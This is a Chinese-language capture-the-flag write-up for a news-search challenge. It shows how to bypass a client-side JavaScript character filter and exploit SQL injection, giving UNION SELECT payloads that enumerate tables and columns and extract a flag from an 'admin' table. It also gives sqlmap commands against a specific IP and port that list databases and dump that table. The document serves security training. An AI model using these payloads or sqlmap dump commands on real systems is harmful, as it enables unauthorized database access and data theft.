白云新闻搜索

题目描述

中国又出现了一个搜索巨头！据报道，中国网络大亨小明近日编写了一个搜索引擎，叫白云新闻搜索，具体链接在下方，该搜索链接功能欠打，界面乏力，小明出一包辣条悬赏漏洞，豪言入侵高手都去试试，你服不服？不服就去试试呗~(答案为flag{}形式，提交{}中内容即可)

解题思路

首先拿到一个页面，是新闻搜索页面

试着输入’：

查看源码，有前端表单过滤：

	function myFunction(){var x=document.getElementById("number").value;var a=document.getElementById("word").value;var b=a.replace(/[\ |\~|\`|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\||\\|\[|\]|\{|\}|\;|\:|\"|\'|\,|\<|\.|\>|\/|\?|\·|\！|\（|\）|\￥|\——|\……|\【|\】|\、|\；|\：|\‘|\“|\”|\’|\，|\。|\、|\《|\》|\？|\ ]/g,"");if(a.length!=b.length){alert("请输入正确字符。");document.getElementById("number").value = '';document.getElementById("word").value = '';}else if(isNaN(x)){alert("请输入数字。");document.getElementById("number").value = '';}}

把Javascript禁用掉：

测试有没有注入点，输入：' or 1=1 -- ', 能返回所有内容，说明有注入漏洞。

查看表名：

' union select 1,TABLE_SCHEMA,TABLE_NAME from INFORMATION_SCHEMA.tables -- '

查看字段

' union select 1,2,column_name from information_schema.columns -- '

获取flag

' union select 1,2,flag from admin -- '

sqlmap自动注入：

查看POST请求：

查看数据库名：

sqlmap -u "http://183.129.189.60:10071/" --data="word=%E5%86%85%E5%AE%B9&number=5" --batch -p "word" --dbs

参数说明：

-u URL, --url=URL   Target URL (e.g. ".php?id=1")
--data=DATA         Data string to be sent through POST (e.g. "id=1")
--batch             Never ask for user input, use the default behavior
-p TESTPARAMETER    Testable parameter(s)--dbs               Enumerate DBMS databases

查看表名：

sqlmap -u "http://183.129.189.60:10071/" --data="word=%E5%86%85%E5%AE%B9&number=5" --batch -p "word" -D news --tables

参数说明：

-u URL, --url=URL   Target URL (e.g. ".php?id=1")
--data=DATA         Data string to be sent through POST (e.g. "id=1")
--batch             Never ask for user input, use the default behavior
-p TESTPARAMETER    Testable parameter(s)
-D DB               DBMS database to enumerate
--tables            Enumerate DBMS database tables

sqlmap -u "http://183.129.189.60:10071/" --data="word=%E5%86%85%E5%AE%B9&number=5" --batch -p "word" -D news -T admin --dump

参数说明：

-u URL, --url=URL   Target URL (e.g. ".php?id=1")
--data=DATA         Data string to be sent through POST (e.g. "id=1")
--batch             Never ask for user input, use the default behavior
-p TESTPARAMETER    Testable parameter(s)
-D DB               DBMS database to enumerate
-T TBL              DBMS database table(s) to enumerate
--dump              Dump DBMS database table entries
